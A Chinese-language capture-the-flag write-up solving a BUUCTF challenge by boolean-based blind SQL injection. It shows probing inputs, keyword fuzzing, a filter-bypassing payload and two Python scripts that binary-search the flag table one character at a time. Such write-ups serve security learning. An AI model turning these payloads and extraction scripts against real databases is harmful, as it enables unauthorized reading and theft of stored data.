知识点

  • sql盲注

启动靶机

我们先提交一个1，抓个包看看
image.png
再输入一个1'
image.png
发现报错，再输入1' or '1'='1，猜想后端应该是做了某种过滤
image.png
image.png

我们先来fuzz一下，看到底哪些关键字被过滤掉了。把数据包放到爆破模块中
image.png
导入fuzz字典，开始爆破
image.png
leng=472的是没有被过滤掉的，结合没有被过滤的关键字，我们考虑用bool盲注，直接查flag表flag字段的内容：

  1. id=(select(ascii(mid(flag,1,1))=102)from(flag))

编写脚本，解放劳动力：

  1. import requests
  2. import time
  4. session = requests.Session()
  5. url = "http://be46acf0-5be9-46fe-bdb8-84f6d4698ffc.node4.buuoj.cn:81/index.php"
  6. data = ""
  8. for i in range(1,100):
  9.         min = 31
  10.         max = 127
  11.         while abs(max - min) > 1:
  12.                 mid = (max + min)//2
  13.                 payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
  14.                 paramsPost = {'id':payload}
  15.                 #print(payload)
  16.                 time.sleep(0.005)
  17.                 response = session.post(url, data=paramsPost).text
  18.                 if 'Hello, glzjin wants a girlfriend.' in response:
  19.                         min = mid
  20.                 else:
  21.                         max = mid
  22.                 time.sleep(0.1)
  24.         data += chr(max)
  25.         print("\r{}".format(data),end='')
  26.         if "  " in data:
  27.                 print("\n")
  28.                 break

得到flag
image.png

  1. import requests
  2. import time
  3. def a():
  4.     url="http://46862f0e-cd65-4a15-99f3-7641926bfb7f.node4.buuoj.cn:81/index.php"
  5.     flag="Hello, glzjin wants a girlfriend."
  6.     final=""
  7.     for i in range(0,100):
  8.         low = 33
  9.         height = 130
  10.         while(low < height):
  11.             mid = int((low+height)/2)
  12.             data={"id":"0^(if((ascii(substr((select(flag)from(flag)),%d,1))>%d),1,0))" %(i,mid)}
  13.             re = requests.post(url=url,data=data).text
  14.             time.sleep(0.3) #延迟0.3秒即可解决请求过快问题
  15.             if flag in re:
  16.                 low = mid + 1
  17.             else:
  18.                 height = mid 
  19.         final+=chr(low)
  20.         print("\r{}".format(final),end='')
  22. if __name__ == '__main__':
  23.        a()